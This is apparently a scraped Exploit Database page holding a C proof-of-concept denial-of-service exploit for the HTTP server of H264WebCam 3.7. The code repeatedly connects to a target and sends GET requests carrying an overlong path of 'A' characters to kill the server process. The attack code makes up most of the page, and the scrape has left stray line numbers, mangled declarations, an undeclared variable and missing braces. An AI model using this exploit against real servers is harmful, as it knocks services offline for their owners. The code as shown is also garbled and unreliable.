H264WebCam – Boundary Condition Error

Exploit Database
119 阅读

作者： fl0 fl0w

日期： 2010-06-18
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/13920/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

DISCLAIMER

THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!!

Also the free software programs provided by fl0 fl0w may be freely distributed and that the disclaimer below is always attached to it.

The programs are provided as is without any guarantees or warranty.

Although the author has attempted to find and correct any bugs in the free software programs,

the author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs.

The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs.

Author: fl0 fl0w

Software: H264WebCam

Dl link:http://www.h264soft.com/downloads/H264WebCam_Setup.exe

Afected Versions: 3.7

Remote: Yes

Local:No

Class:Boundary Condition Error

Bug:HTTP server process termination

Afected software: Windows 98/Me/2000/XP/2003/Vista/7/NT

Fix:No fix

Compiler: gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125)

Advice: To avoid any problems under Windows use cygwin console.

The .C code:

#include<stdio.h>

#include<sys/types.h>

#include<sys/socket.h>

#include<netinet/in.h>

#include<unistd.h>

typedef int i32;

typedef char i8;

typedef short i16;

#define BOF "test" \

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

#define SEND(sockets) if(send(sockets,sendbytes,sizeof(sendbytes),0)<0) \

shutdown(x,1)

#define CONNECT(sockets) if(connect(sockets,(struct sockaddr*)&s,sizes)<0) \

return 0;

#define BUFFSZ 9999999

#define GET1 "GET /"

#define GET2 " HTTP/1.0\r\n" \

"\r\n"

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)

#define VER "3.7"

#define POCNAME "-H264WebCam PoC " VER

void copy_str(i8*,i8*,i32);

void get_arguments(i32,i8**);

void error_handle(void);

void mset(i8*,i32,i32);

void syntax();

i8* recvbytes,

* sendbytes,

* host,

* option;

i16port;

i32sizes,

sockets,

struct sockaddr_in s;

i32 main(i32 argc,i8** argv){

printf("%s",POCNAME);

sendbytes=ALOC(i8,BUFFSZ);

recvbytes=ALOC(i8,BUFFSZ);

if(!sendbytes)

error_handle();

if(!recvbytes)

error_handle();

get_arguments(argc,argv);

sizes=sizeof(s);

s.sin_family=AF_INET;

s.sin_addr.s_addr=inet_addr(host);

s.sin_port=htons(port);

printf("-connection established\n");

for(;;){

x++;

sockets=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(sockets<0){

printf("line 81");

error_handle();

}

if(strcmp(option,"get")==0){

copy_str(sendbytes,GET1,5);

copy_str(sendbytes+5,BOF,sizeof(BOF));

copy_str(sendbytes+5+strlen(BOF),GET2,17);

}

CONNECT(sockets);

SEND(sockets);

}

printf("[*]Done!\n");

return 0;

}

void copy_str(i8* v,i8* w,i32 len){

strncpy(v,w,len);

}

void get_arguments(i32 argc,i8** argv){

if(argc<6){

syntax();

exit(0);

}else{

i32 i;

argc--;

for(i=1;i<argc;i++){

switch(argv[i][1]){

case'h':

host=argv[++i];

break;

case'p':

port=atoi(argv[++i]);

break;

case'o':

option=argv[++i];

break;

default:{

printf("error with argument nr %d:(%s)\n",i,argv[i]);

exit(0);

}

void error_handle(void){

perror("\nError");

exit(1);

}

void syntax(){

i8 *help[]={"\torder of arguments: -h,-p,-o",

"\t-h hostname",

"\t-p port(default 80)",

"\t-o option(get)"

};

i32 i;

size_t com=sizeof help / sizeof help[0];

for(i=0;i<com;i++){

printf("%s\n",help[i]);

}